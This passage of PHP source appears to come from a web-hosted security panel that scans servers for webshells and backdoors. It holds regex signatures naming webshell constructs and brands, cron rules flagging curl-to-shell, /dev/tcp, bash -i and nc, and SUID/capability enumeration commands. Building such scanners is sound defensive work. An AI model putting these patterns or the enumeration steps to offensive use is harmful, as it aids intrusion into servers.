/sbin /home /opt /tmp /var -perm -2000 -type f 2>/dev/null | head -40', $baseDir); $cap = runTerminal('getcap -r /usr /bin /sbin 2>/dev/null | head -40', $baseDir); $out = "=== SUID BINARIES (setuid) ===\n" . trim($suid['output']) . "\n\n"; $out .= "=== SGID BINARIES (setgid) ===\n" . trim($sgid['output']) . "\n\n"; $out .= "=== CAPABILITIES ===\n" . trim($cap['output']); return array('ok' => true, 'output' => $out); } function btGetScanRoots($baseDir, $scanPath) { $roots = array(); if ($scanPath !== '') { $resolved = resolvePath($baseDir, $scanPath, false); if ($resolved && @is_dir($resolved)) $roots[] = $resolved; } if (empty($roots)) { $roots[] = $baseDir; $docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : ''; if ($docRoot && @is_dir($docRoot)) $roots[] = $docRoot; foreach (array('/var/www', '/home', '/tmp', '/var/tmp', '/opt', '/srv', '/usr/local') as $r) { if (@is_dir($r) && !in_array($r, $roots, true)) $roots[] = $r; } } return array_values(array_unique($roots)); } function btWebshellSignatures($aggressive) { $sigs = array( array('pattern' => '/eval\s*\(\s*base64_decode/is', 'score' => 45, 'name' => 'eval(base64_decode())'), array('pattern' => '/eval\s*\(\s*gz(inflate|uncompress|decode)/is', 'score' => 45, 'name' => 'eval(gz*)'), array('pattern' => '/eval\s*\(\s*str_rot13/is', 'score' => 40, 'name' => 'eval(str_rot13())'), array('pattern' => '/eval\s*\(\s*gzuncompress/is', 'score' => 45, 'name' => 'eval(gzuncompress)'), array('pattern' => '/assert\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)/is', 'score' => 45, 'name' => 'assert($_INPUT)'), array('pattern' => '/preg_replace\s*\([^)]*\/e["\']/is', 'score' => 45, 'name' => 'preg_replace /e'), array('pattern' => '/create_function\s*\(/is', 'score' => 35, 'name' => 'create_function()'), array('pattern' => '/(shell_exec|system|passthru|proc_open|popen|pcntl_exec)\s*\([^)]*\$_(GET|POST|REQUEST)/is', 'score' => 40, 'name' => 'cmd_exec($_INPUT)'), array('pattern' => '/@eval\s*\(/is', 'score' => 35, 'name' => '@eval()'), array('pattern' => '/gzinflate\s*\(\s*base64_decode/is', 'score' => 40, 'name' => 'gzinflate(base64)'), array('pattern' => '/base64_decode\s*\(\s*[\'"][A-Za-z0-9+\/=]{80,}/is', 'score' => 25, 'name' => 'long base64 blob'), array('pattern' => '/\$_(GET|POST|REQUEST|COOKIE)\s*\[[^\]]+\]\s*\(/is', 'score' => 30, 'name' => 'variable func call $_INPUT'), array('pattern' => '/(FilesMan|c99shell|r57shell|WSO\s|b374k|alfa\s*shell|AnonymousFox|IndoXploit|Gecko\s*Shell|mini\s*shell)/is', 'score' => 50, 'name' => 'known webshell brand'), array('pattern' => '/move_uploaded_file\s*\([^)]+\)\s*;[\s\S]{0,200}(eval|assert)/is', 'score' => 35, 'name' => 'upload+eval'), array('pattern' => '/\\$\{\s*[\'"]\\\\x/is', 'score' => 30, 'name' => 'hex var obfuscation'), array('pattern' => '/(passthru|shell_exec|system|exec)\s*\(\s*\$_(GET|POST|REQUEST)/is', 'score' => 40, 'name' => 'direct webshell cmd'), array('pattern' => '/php:\/\/input/is', 'score' => 15, 'name' => 'php://input wrapper'), array('pattern' => '/(cmd|command|exec|shell|backdoor)\s*[\'"]?\s*=>\s*\$_(GET|POST|REQUEST)/is', 'score' => 30, 'name' => 'cmd parameter handler'), array('pattern' => '/chr\s*\(\s*\d+\s*\)\s*\.\s*chr/is', 'score' => 20, 'name' => 'chr() obfuscation chain'), array('pattern' => '/\\$[a-zA-Z_\x7f-\xff]{1,8}\s*=\s*[\'"][a-zA-Z0-9+\/=]{100,}[\'"]/is', 'score' => 15, 'name' => 'suspicious encoded string'), array('pattern' => '/\\$_(GET|POST|REQUEST|COOKIE)\s*\[[^\]]+\]\s*\(\s*\$_(GET|POST|REQUEST)/is', 'score' => 35, 'name' => 'double $_INPUT invoke'), array('pattern' => '/(include|require)(_once)?\s*\(\s*\$_(GET|POST|REQUEST)/is', 'score' => 35, 'name' => 'dynamic include $_INPUT'), array('pattern' => '/file_put_contents\s*\([^,]+,\s*\$_(POST|REQUEST)/is', 'score' => 30, 'name' => 'file_put from POST'), array('pattern' => '/\\$[a-z_]+\s*=\s*str_replace\s*\([^)]+\)\s*;\s*eval/is', 'score' => 35, 'name' => 'str_replace+eval'), array('pattern' => '/call_user_func\s*\(\s*[\'"]assert[\'"]/is', 'score' => 35, 'name' => 'call_user_func assert'), array('pattern' => '/ReflectionFunction\s*\(/is', 'score' => 20, 'name' => 'ReflectionFunction'), array('pattern' => '/\\$_(SERVER|FILES)\s*\[[^\]]+\]\s*\(/is', 'score' => 25, 'name' => '$_SERVER/FILES invoke'), array('pattern' => '/`[^`]*\$_(GET|POST|REQUEST)/is', 'score' => 35, 'name' => 'backtick cmd $_INPUT'), array('pattern' => '/\\$[a-zA-Z0-9_]+\s*=\s*\\$[a-zA-Z0-9_]+\s*\(\s*\\$[a-zA-Z0-9_]+\s*\)\s*;\s*\\$[a-zA-Z0-9_]+\s*\(/is', 'score' => 20, 'name' => 'variable function chain'), array('pattern' => '/(cmd\.exe|\/bin\/sh|\/bin\/bash).*\\$_(GET|POST|REQUEST)/is', 'score' => 35, 'name' => 'shell binary + input'), array('pattern' => '/\\$[a-zA-Z0-9_]{1,3}\s*=\s*[\'"]\\x[0-9a-f]{2}/is', 'score' => 18, 'name' => 'hex byte construction'), array('pattern' => '/\\$GLOBALS\s*\[[^\]]+\]\s*\(/is', 'score' => 22, 'name' => '$GLOBALS func call'), array('pattern' => '/(WSO|uploader|FilesMan|Mini Shell|Bypass|Safe0ver|Locus7s)/is', 'score' => 40, 'name' => 'webshell keyword'), array('pattern' => '/\\$_(GET|POST|REQUEST)\s*\[[\'"]pass[\'"]\]/is', 'score' => 18, 'name' => 'password gate $_INPUT'), array('pattern' => '/fsockopen\s*\([^)]+\$_(GET|POST|REQUEST)/is', 'score' => 30, 'name' => 'fsockopen backconnect'), array('pattern' => '/stream_socket_client\s*\(/is', 'score' => 12, 'name' => 'stream_socket_client'), array('pattern' => '/\\$[a-zA-Z0-9_]+\s*=\s*\\$\{[^}]+\}/is', 'score' => 18, 'name' => 'variable variables'), ); if ($aggressive) { $sigs = array_merge($sigs, array( array('pattern' => '/<\?php/is', 'score' => 8, 'name' => 'php open tag'), array('pattern' => '/\\$_(GET|POST|REQUEST|COOKIE)\s*\[/is', 'score' => 8, 'name' => 'superglobal input access'), array('pattern' => '/(shell_exec|system|passthru|exec|popen|proc_open)\s*\(/is', 'score' => 12, 'name' => 'dangerous function'), array('pattern' => '/base64_decode\s*\(/is', 'score' => 10, 'name' => 'base64_decode()'), array('pattern' => '/(eval|assert)\s*\(/is', 'score' => 15, 'name' => 'eval/assert call'), array('pattern' => '/\\$_(GET|POST|REQUEST)\s*\[[\'"]cmd[\'"]\]/is', 'score' => 25, 'name' => 'cmd parameter'), array('pattern' => '/\\$_(GET|POST|REQUEST)\s*\[[\'"]0[\'"]\]/is', 'score' => 20, 'name' => 'array index 0 input'), array('pattern' => '/auto_prepend_file|auto_append_file/is', 'score' => 30, 'name' => 'auto_prepend injection'), array('pattern' => '/AddHandler\s+application\/x-httpd-php/is', 'score' => 25, 'name' => 'htaccess php handler abuse'), array('pattern' => '/\\$_(GET|POST|REQUEST)\s*\[[\'"]z[0-9]?[\'"]\]/is', 'score' => 22, 'name' => 'obfuscated param z*'), array('pattern' => '/pack\s*\(\s*[\'"]H\*[\'"]/is', 'score' => 15, 'name' => 'pack hex decode'), array('pattern' => '/strrev\s*\(\s*base64_decode/is', 'score' => 28, 'name' => 'strrev+base64'), array('pattern' => '/rawurldecode\s*\(\s*base64_decode/is', 'score' => 25, 'name' => 'urldecode+base64'), array('pattern' => '/\\$[a-zA-Z0-9_]+\(\$\{?\\$_(GET|POST|REQUEST)/is', 'score' => 30, 'name' => 'func variable from input'), )); } return $sigs; } function btFilenameIOCs($aggressive) { $iocs = array( 'c99.php' => 55, 'r57.php' => 55, 'wso.php' => 55, 'wso2.php' => 55, 'wso1337.php' => 55, 'shell.php' => 40, 'cmd.php' => 40, 'backdoor.php' => 55, 'b374k.php' => 55, 'b374.php' => 50, 'alfa.php' => 50, 'alf.php' => 45, 'mini.php' => 25, 'uploader.php' => 30, 'upload.php' => 20, 'x.php' => 25, 'xx.php' => 25, '0.php' => 30, '1.php' => 25, '2.php' => 22, 'indoxploit.php' => 55, 'fox.php' => 40, 'leaf.php' => 35, 'marijuana.php' => 50, 'adminer.php' => 10, '.user.ini' => 25, 'php.ini' => 15, 'sym403.php' => 45, 'symlink.php' => 40, 'priv8.php' => 45, 'root.php' => 35, 'hack.php' => 40, 'haxor.php' => 45, '1337.php' => 40, 'locus.php' => 40, 'c100.php' => 45, 'r00t.php' => 40, 'sh.php' => 35, 'bypass.php' => 35, 'up.php' => 28, 'upl.php' => 28, 'filemanager.php' => 15, 'fm.php' => 30, ); if ($aggressive) { $iocs['test.php'] = 12; $iocs['tmp.php'] = 18; $iocs['cache.php'] = 15; $iocs['log.php'] = 18; $iocs['images.php'] = 22; $iocs['class.php'] = 12; $iocs['config.php.bak'] = 30; $iocs['wp-config.php.bak'] = 35; } return $iocs; } function btFilenameHeuristics($basename, &$score, &$hits, $aggressive) { if (preg_match('/^[a-f0-9]{8,}\.(php|phtml|inc|php5)$/i', $basename)) { $score += 28; $hits[] = 'hex-random filename'; } if (preg_match('/^[a-z0-9]{1,2}\.(php|phtml)$/i', $basename)) { $score += 22; $hits[] = 'short random php name'; } if (preg_match('/\.(jpg|jpeg|png|gif|ico|css|txt|zip|tar|gz|bmp|webp)\.(php|phtml|php5)$/i', $basename)) { $score += 38; $hits[] = 'double extension'; } if (preg_match('/(shell|backdoor|hack|exploit|webshell|c99|r57|wso|b374k|cmd|uploader|bypass|priv8|hax|1337|alfa|indoxploit|revshell|payload|trojan|spy|bot|nc\.|netcat|eval|base64|gzinflate|passthru|shell_exec)/i', $basename)) { $score += 20; $hits[] = 'malware keyword in filename'; } if ($aggressive && preg_match('/^(tmp|temp|cache|log|test|old|bak|backup|dump|upload|upl|img|image|thumb|avatar|icon|css|js|class|module|helper|init|core|loader|config|setup|update|fix|repair|restore|data|info|debug|dev|demo|sample|radio|content|about|theme|plugin|widget|gate|door|key|secret|hidden|stealth|ghost|shadow|priv|root|admin|wp-|xmlrpc|install|lock|radio|content|about)\d*\.(php|phtml|php5|inc)$/i', $basename)) { $score += 14; $hits[] = 'aggressive suspicious basename'; } } function btSeverityLabel($score) { if ($score >= 50) return 'CRITICAL'; if ($score >= 30) return 'HIGH'; if ($score >= 15) return 'MEDIUM'; return 'LOW'; } function btScanExtensions() { return array('php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'php8', 'phar', 'inc', 'pht', 'phpt', 'asp', 'aspx', 'jsp', 'js', 'shtml', 'htaccess', 'cgi', 'pl', 'py', 'sh', 'rb', 'vb', 'vbs'); } function btAnalyzeFile($path, $signatures, $filenameIOCs, $selfPath, $aggressive) { $realSelf = realpath($selfPath); $realPath = @realpath($path); if ($realSelf && $realPath && $realSelf === $realPath) return null; $score = 0; $hits = array(); $basename = strtolower(basename($path)); $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); $allowedExt = btScanExtensions(); if (!in_array($ext, $allowedExt, true) && $basename !== '.htaccess' && $basename !== '.user.ini') { if (!$aggressive || !preg_match('/\.(jpg|jpeg|png|gif|bmp|ico|svg|webp|txt|log)$/i', $basename)) { return null; } } foreach ($filenameIOCs as $ioc => $pts) { if ($basename === strtolower($ioc) || ($aggressive && strpos($basename, strtolower(str_replace('.php', '', $ioc))) !== false && preg_match('/\.(php|phtml|php5|inc|bak)$/i', $basename))) { $score += (int)$pts; $hits[] = 'filename:' . $ioc; } } btFilenameHeuristics($basename, $score, $hits, $aggressive); $size = @filesize($path); $maxRead = $aggressive ? 524288 : 98304; $maxSize = $aggressive ? 8388608 : 5242880; if ($size === false || $size > $maxSize) { $minScore = $aggressive ? 10 : 15; return ($score >= $minScore) ? array('path' => $path, 'score' => $score, 'severity' => btSeverityLabel($score), 'hits' => $hits, 'size' => $size, 'modified' => @filemtime($path), 'note' => 'not content-scanned (large/unreadable)') : null; } $content = @file_get_contents($path, false, null, 0, min((int)$size, $maxRead)); if ($content === false || $content === '') { $minScore = $aggressive ? 10 : 15; return ($score >= $minScore) ? array('path' => $path, 'score' => $score, 'severity' => btSeverityLabel($score), 'hits' => $hits, 'size' => $size, 'modified' => @filemtime($path)) : null; } foreach ($signatures as $sig) { if (@preg_match($sig['pattern'], $content)) { $score += (int)$sig['score']; $hits[] = $sig['name']; } } if ($size < 250 && preg_match('/eval|assert|base64_decode|shell_exec|system\s*\(|passthru\s*\(/is', $content)) { $score += 28; $hits[] = 'tiny file + dangerous func'; } if ($aggressive && preg_match('/<\?(php|=)/i', $content) && preg_match('/\.(jpg|jpeg|png|gif|bmp|ico|svg|webp|txt|css|js)$/i', $basename)) { $score += 35; $hits[] = 'php tag in non-php extension (polyglot)'; } if ($aggressive && preg_match_all('/[A-Za-z0-9+\/=]{200,}/', $content, $m) && count($m[0]) >= 2) { $score += 12; $hits[] = 'multiple long encoded blobs'; } $minScore = $aggressive ? 6 : 12; if ($score < $minScore) return null; return array( 'path' => $path, 'score' => $score, 'severity' => btSeverityLabel($score), 'hits' => array_values(array_unique($hits)), 'size' => (int)$size, 'modified' => @filemtime($path), ); } function btCollectCandidateFiles($roots, $baseDir, $maxFiles, $maxDepth) { $files = array(); $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; $exts = btScanExtensions(); if (!$isWin) { $nameParts = array(); foreach ($exts as $e) { $nameParts[] = '-name ' . escapeshellarg('*.' . $e); } $nameParts[] = '-name ' . escapeshellarg('.htaccess'); $nameParts[] = '-name ' . escapeshellarg('.user.ini'); $nameParts[] = '-name ' . escapeshellarg('*.php*'); $expr = '\( ' . implode(' -o ', $nameParts) . ' \)'; foreach ($roots as $root) { $cmd = 'find ' . escapeshellarg($root) . ' -maxdepth ' . (int)$maxDepth . ' ' . $expr . ' -type f 2>/dev/null | head -' . (int)$maxFiles; $out = runTerminal($cmd, $baseDir); foreach (explode("\n", $out['output']) as $line) { $line = trim($line); if ($line !== '' && @is_file($line)) $files[$line] = $line; } if (count($files) >= $maxFiles) break; } } else { foreach ($roots as $root) { btWalkCandidates($root, $exts, $files, 0, $maxDepth, $maxFiles); if (count($files) >= $maxFiles) break; } } return array_values($files); } function btWalkCandidates($dir, $exts, &$files, $depth, $maxDepth, $maxFiles) { if ($depth > $maxDepth || count($files) >= $maxFiles) return; $h = @opendir($dir); if (!$h) return; while (($name = readdir($h)) !== false) { if ($name === '.' || $name === '..') continue; $full = $dir . DIRECTORY_SEPARATOR . $name; if (@is_file($full)) { $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); if (in_array($ext, $exts, true) || $name === '.htaccess' || $name === '.user.ini') { $files[$full] = $full; } } elseif (@is_dir($full) && $depth < $maxDepth) { btWalkCandidates($full, $exts, $files, $depth + 1, $maxDepth, $maxFiles); } if (count($files) >= $maxFiles) break; } closedir($h); } function btFormatFindings($title, $findings, $scanned, $roots) { usort($findings, function ($a, $b) { return (int)$b['score'] - (int)$a['score']; }); $lines = array('=== ' . $title . ' ===', 'Roots: ' . implode(', ', $roots), 'Scanned: ' . $scanned . ' files', 'Findings: ' . count($findings), ''); if (empty($findings)) { $lines[] = '(no threats detected in scan scope)'; return implode("\n", $lines); } foreach ($findings as $f) { $mod = isset($f['modified']) ? date('Y-m-d H:i', $f['modified']) : '-'; $sz = isset($f['size']) ? secFormatBytes($f['size']) : '-'; $lines[] = '[' . $f['severity'] . ' score:' . $f['score'] . '] ' . $f['path']; $lines[] = ' modified:' . $mod . ' size:' . $sz . ' signals:' . implode(', ', $f['hits']); if (isset($f['note'])) $lines[] = ' note:' . $f['note']; } return implode("\n", $lines); } function btWebshellScan($baseDir, $scanPath, $aggressive) { @set_time_limit(600); $aggressive = ($aggressive === true || $aggressive === 1 || $aggressive === '1' || $aggressive === 'true'); $roots = btGetScanRoots($baseDir, $scanPath); $signatures = btWebshellSignatures($aggressive); $filenameIOCs = btFilenameIOCs($aggressive); $maxFiles = $aggressive ? 8000 : 2500; $maxFindings = $aggressive ? 500 : 120; $maxDepth = $aggressive ? 14 : 9; $candidates = btCollectCandidateFiles($roots, $baseDir, $maxFiles, $maxDepth); $findings = array(); foreach ($candidates as $file) { $hit = btAnalyzeFile($file, $signatures, $filenameIOCs, __FILE__, $aggressive); if ($hit) $findings[] = $hit; if (count($findings) >= $maxFindings) break; } $mode = $aggressive ? 'AGGRESSIVE' : 'STANDARD'; $out = btFormatFindings('BACKDOOR / WEBSHELL SCAN [' . $mode . ']', $findings, count($candidates), $roots); $critical = 0; foreach ($findings as $f) { if ($f['severity'] === 'CRITICAL' || $f['severity'] === 'HIGH') $critical++; } return array( 'ok' => true, 'output' => $out, 'count' => count($findings), 'critical' => $critical, 'scanned' => count($candidates), 'findings' => $findings, 'aggressive' => $aggressive, ); } function btResolveThreatPath($baseDir, $path) { $path = trim((string)$path); if ($path === '') return null; if (preg_match('/^[A-Za-z]:/', $path) || (strlen($path) > 0 && $path[0] === '/')) { $real = @realpath($path); return ($real && @is_file($real)) ? $real : null; } return resolvePath($baseDir, $path); } function btQuarantineDir($baseDir) { $tmp = sys_get_temp_dir(); if (!$tmp) $tmp = $baseDir; $dir = rtrim($tmp, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . 'gecko_quarantine_' . substr(md5($baseDir), 0, 12); if (!is_dir($dir)) { @mkdir($dir, 0700, true); } return $dir; } function btManifestPath($baseDir) { return btQuarantineDir($baseDir) . DIRECTORY_SEPARATOR . 'manifest.json'; } function btLoadManifest($baseDir) { $file = btManifestPath($baseDir); if (!is_file($file)) return array(); $raw = @file_get_contents($file); if (!$raw) return array(); $data = json_decode($raw, true); if (!is_array($data)) return array(); $valid = array(); foreach ($data as $entry) { if (!is_array($entry) || empty($entry['id']) || empty($entry['original'])) continue; if (!empty($entry['quarantine']) && !is_file($entry['quarantine'])) continue; $valid[] = $entry; } if (count($valid) !== count($data)) { btSaveManifest($baseDir, $valid); } return $valid; } function btSaveManifest($baseDir, $entries) { $file = btManifestPath($baseDir); @file_put_contents($file, json_encode(array_values($entries), JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT)); } function btListQuarantine($baseDir) { $entries = btLoadManifest($baseDir); usort($entries, function ($a, $b) { return (int)(isset($b['moved_at']) ? $b['moved_at'] : 0) - (int)(isset($a['moved_at']) ? $a['moved_at'] : 0); }); $dir = btQuarantineDir($baseDir); $lines = array('=== QUARANTINE (TMP) ===', 'Location: ' . $dir, 'Items: ' . count($entries), ''); foreach ($entries as $e) { $when = isset($e['moved_at']) ? date('Y-m-d H:i:s', $e['moved_at']) : '-'; $lines[] = '[' . $e['id'] . '] ' . $e['original']; $lines[] = ' quarantined: ' . $when . ' → ' . (isset($e['quarantine']) ? $e['quarantine'] : '-'); } if (empty($entries)) $lines[] = '(empty — no quarantined files)'; return array( 'ok' => true, 'output' => implode("\n", $lines), 'entries' => $entries, 'count' => count($entries), 'dir' => $dir, ); } function btDeleteThreats($baseDir, $paths) { $realSelf = @realpath(__FILE__); $quarantined = array(); $failed = array(); if (!is_array($paths)) { if (is_string($paths) && $paths !== '') $paths = array($paths); else $paths = array(); } if (count($paths) > 200) { return array('ok' => false, 'error' => 'Max 200 files per batch'); } $qdir = btQuarantineDir($baseDir); $manifest = btLoadManifest($baseDir); foreach ($paths as $p) { $p = trim((string)$p); if ($p === '') continue; $resolved = btResolveThreatPath($baseDir, $p); if (!$resolved) { $failed[] = array('path' => $p, 'error' => 'Not found or not a file'); continue; } if ($realSelf && $resolved === $realSelf) { $failed[] = array('path' => $p, 'error' => 'Protected (scanner itself)'); continue; } $id = substr(md5($resolved . microtime(true) . mt_rand()), 0, 16); $safeName = preg_replace('/[^a-zA-Z0-9._-]/', '_', basename($resolved)); $qpath = $qdir . DIRECTORY_SEPARATOR . $id . '_' . $safeName; if (!@rename($resolved, $qpath)) { if (!@copy($resolved, $qpath)) { $failed[] = array('path' => $p, 'error' => 'Move to quarantine failed'); continue; } @unlink($resolved); } $entry = array( 'id' => $id, 'original' => $resolved, 'quarantine' => $qpath, 'basename' => basename($resolved), 'moved_at' => time(), ); $manifest[] = $entry; $quarantined[] = $entry; } btSaveManifest($baseDir, $manifest); $out = "=== QUARANTINE REPORT (moved to tmp) ===\n"; $out .= 'Location: ' . $qdir . "\n"; $out .= 'Quarantined: ' . count($quarantined) . ' · Failed: ' . count($failed) . "\n\n"; foreach ($quarantined as $q) { $out .= '[MOVED] ' . $q['original'] . "\n"; $out .= ' → ' . $q['quarantine'] . ' (id:' . $q['id'] . ")\n"; } foreach ($failed as $f) { $out .= '[FAILED] ' . $f['path'] . ' — ' . $f['error'] . "\n"; } $out .= "\nFiles can be restored from Quarantine section below."; return array( 'ok' => true, 'output' => $out, 'quarantined' => $quarantined, 'deleted' => array_map(function ($e) { return $e['original']; }, $quarantined), 'failed' => $failed, 'count' => count($quarantined), 'dir' => $qdir, ); } function btRestoreThreats($baseDir, $ids) { if (!is_array($ids)) { if (is_string($ids) && $ids !== '') $ids = array($ids); else $ids = array(); } if (empty($ids)) { return array('ok' => false, 'error' => 'No items selected to restore'); } $manifest = btLoadManifest($baseDir); $restored = array(); $failed = array(); $remaining = array(); $idSet = array_flip(array_map('strval', $ids)); foreach ($manifest as $entry) { $eid = (string)$entry['id']; if (!isset($idSet[$eid])) { $remaining[] = $entry; continue; } $original = isset($entry['original']) ? $entry['original'] : ''; $qpath = isset($entry['quarantine']) ? $entry['quarantine'] : ''; if ($original === '' || !is_file($qpath)) { $failed[] = array('id' => $eid, 'path' => $original, 'error' => 'Quarantine file missing'); continue; } $dest = $original; if (is_file($dest)) { $dest = dirname($original) . DIRECTORY_SEPARATOR . pathinfo($original, PATHINFO_FILENAME) . '.restored.' . time() . (pathinfo($original, PATHINFO_EXTENSION) ? '.' . pathinfo($original, PATHINFO_EXTENSION) : ''); } $parent = dirname($dest); if (!is_dir($parent)) { @mkdir($parent, 0755, true); } if (!@rename($qpath, $dest)) { if (!@copy($qpath, $dest)) { $failed[] = array('id' => $eid, 'path' => $original, 'error' => 'Restore failed'); $remaining[] = $entry; continue; } @unlink($qpath); } $restored[] = array('id' => $eid, 'original' => $original, 'restored_to' => $dest); } btSaveManifest($baseDir, $remaining); $out = "=== RESTORE REPORT ===\n"; $out .= 'Restored: ' . count($restored) . ' · Failed: ' . count($failed) . "\n\n"; foreach ($restored as $r) { $out .= '[RESTORED] ' . $r['original']; if ($r['restored_to'] !== $r['original']) $out .= ' → ' . $r['restored_to']; $out .= "\n"; } foreach ($failed as $f) { $out .= '[FAILED] ' . (isset($f['path']) ? $f['path'] : $f['id']) . ' — ' . $f['error'] . "\n"; } return array( 'ok' => true, 'output' => $out, 'restored' => $restored, 'failed' => $failed, 'count' => count($restored), ); } function btRecentChanges($baseDir, $scanPath, $days) { $days = max(1, min(90, (int)$days)); $roots = btGetScanRoots($baseDir, $scanPath); $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; $lines = array('=== RECENTLY MODIFIED WEB FILES (last ' . $days . ' days) ===', ''); foreach ($roots as $root) { if ($isWin) { $cmd = 'forfiles /P ' . escapeshellarg($root) . ' /S /D -' . $days . ' /M *.php 2>nul'; } else { $cmd = 'find ' . escapeshellarg($root) . ' -maxdepth 8 -type f \( -name "*.php" -o -name "*.phtml" -o -name "*.js" -o -name ".htaccess" \) -mtime -' . $days . ' -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -60'; } $out = runTerminal($cmd, $baseDir); if (trim($out['output']) !== '') { $lines[] = '--- ' . $root . ' ---'; $lines[] = trim($out['output']); $lines[] = ''; } } if (count($lines) <= 2) $lines[] = '(no recent changes found)'; return array('ok' => true, 'output' => implode("\n", $lines)); } function btWritableScan($baseDir, $scanPath) { $roots = btGetScanRoots($baseDir, $scanPath); $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; $lines = array('=== WORLD-WRITABLE / INSECURE PERMISSIONS ===', ''); foreach ($roots as $root) { if ($isWin) continue; $cmd = 'find ' . escapeshellarg($root) . ' -maxdepth 7 -type f \( -perm -0002 -o -perm -0777 \) -ls 2>/dev/null | head -50'; $out = runTerminal($cmd, $baseDir); if (trim($out['output']) !== '') { $lines[] = '--- ' . $root . ' ---'; $lines[] = trim($out['output']); $lines[] = ''; } $cmd2 = 'find ' . escapeshellarg($root) . ' -maxdepth 7 -type d -perm -0002 2>/dev/null | head -30'; $out2 = runTerminal($cmd2, $baseDir); if (trim($out2['output']) !== '') { $lines[] = 'World-writable directories:'; $lines[] = trim($out2['output']); $lines[] = ''; } } if (count($lines) <= 2) $lines[] = $isWin ? '(Linux permission scan only)' : '(no world-writable files found)'; return array('ok' => true, 'output' => implode("\n", $lines)); } function btHiddenScan($baseDir, $scanPath) { $roots = btGetScanRoots($baseDir, $scanPath); $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; $lines = array('=== HIDDEN / DOT FILES (executable scripts) ===', ''); foreach ($roots as $root) { if ($isWin) continue; $cmd = 'find ' . escapeshellarg($root) . ' -maxdepth 8 -name ".*" -type f \( -name "*.php*" -o -name "*.pl" -o -name "*.sh" -o -name "*.py" -o -name ".htaccess" -o -name ".user.ini" \) -ls 2>/dev/null | head -50'; $out = runTerminal($cmd, $baseDir); if (trim($out['output']) !== '') { $lines[] = '--- ' . $root . ' ---'; $lines[] = trim($out['output']); $lines[] = ''; } } if (count($lines) <= 2) $lines[] = '(no suspicious hidden scripts found)'; return array('ok' => true, 'output' => implode("\n", $lines)); } function btCronAudit($baseDir) { $cron = getCrontab(); $lines = array('=== CRON PERSISTENCE AUDIT ===', 'Platform: ' . $cron['platform'], ''); $suspicious = array( '/\bcurl\b.*\|\s*(ba)?sh/is', '/\bwget\b.*\|\s*(ba)?sh/is', '/\/dev\/tcp\//is', '/\bbash\s+-i/is', '/\bnc\s+-/is', '/base64\s+-d/is', '/\beval\b/is', '/\bpython\s+-c/is', '/\bperl\s+-e/is', '/\b\/tmp\//is', '/\bchmod\s+\+x/is', '/gsocket/is', '/\breverse\b/is', '/\bbackdoor\b/is', ); $content = $cron['content']; if (trim($content) === '') { $lines[] = '(empty crontab)'; } else { $ln = 0; foreach (explode("\n", $content) as $line) { $line = trim($line); if ($line === '' || $line[0] === '#') continue; $ln++; $flags = array(); foreach ($suspicious as $pat) { if (preg_match($pat, $line)) $flags[] = 'SUSPICIOUS'; } $prefix = empty($flags) ? '[OK] ' : '[WARN] '; $lines[] = $prefix . $line; } if ($ln === 0) $lines[] = '(no active cron entries)'; } $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; if (!$isWin) { $etc = runTerminal('ls -la /etc/cron* 2>/dev/null; grep -rH . /etc/cron.d/ /etc/cron.daily/ 2>/dev/null | head -30', $baseDir); $lines[] = ''; $lines[] = '=== /etc/cron* (sample) ==='; $lines[] = trim($etc['output']); } return array('ok' => true, 'output' => implode("\n", $lines)); } function btLogAudit($baseDir) { $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; $lines = array('=== AUTH / SECURITY LOG AUDIT ===', ''); if ($isWin) { $out = runTerminal('wevtutil qe Security /c:20 /rd:true /f:text 2>nul', $baseDir); $lines[] = trim($out['output']) ?: '(Windows event query unavailable)'; } else { $cmds = array( 'Failed SSH/auth (last 40)' => 'grep -iE "Failed password|Invalid user|authentication failure|refused connect" /var/log/auth.log /var/log/secure 2>/dev/null | tail -40', 'sudo usage (last 20)' => 'grep -i sudo /var/log/auth.log /var/log/secure 2>/dev/null | tail -20', 'Web server errors (last 20)' => 'grep -iE "eval|base64|shell|cmd=|/etc/passwd" /var/log/apache2/error.log /var/log/httpd/error_log /var/log/nginx/error.log 2>/dev/null | tail -20', ); foreach ($cmds as $label => $cmd) { $out = runTerminal($cmd, $baseDir); $lines[] = '--- ' . $label . ' ---'; $lines[] = trim($out['output']) ?: '(no entries or log not accessible)'; $lines[] = ''; } } return array('ok' => true, 'output' => implode("\n", $lines)); } function btIocScan($baseDir, $scanPath) { $roots = btGetScanRoots($baseDir, $scanPath); $iocs = array('c99','r57','wso','b374k','shell','backdoor','cmd','uploader','alfa','indoxploit','mini','hack','exploit','webshell','c100','r00t','anonymous','leaf','marijuana','fox','upl'); $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; $lines = array('=== IOC FILENAME HUNT ===', ''); $found = 0; foreach ($roots as $root) { if (!$isWin) { $nameExpr = array(); foreach ($iocs as $ioc) { $nameExpr[] = '-iname ' . escapeshellarg('*' . $ioc . '*.php'); $nameExpr[] = '-iname ' . escapeshellarg('*' . $ioc . '*.phtml'); } $cmd = 'find ' . escapeshellarg($root) . ' -maxdepth 8 \( ' . implode(' -o ', $nameExpr) . ' \) -type f 2>/dev/null | head -40'; $out = runTerminal($cmd, $baseDir); if (trim($out['output']) !== '') { $lines[] = '--- ' . $root . ' ---'; $lines[] = trim($out['output']); $found += substr_count($out['output'], "\n") + 1; $lines[] = ''; } } } if ($found === 0) $lines[] = '(no IOC filename matches)'; return array('ok' => true, 'output' => implode("\n", $lines), 'count' => $found); } function btSuspiciousProcess($baseDir) { $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; if ($isWin) { $out = runTerminal('tasklist /V', $baseDir); } else { $out = runTerminal('ps auxww 2>/dev/null | grep -iE "nc |/dev/tcp|python -c|perl -e|bash 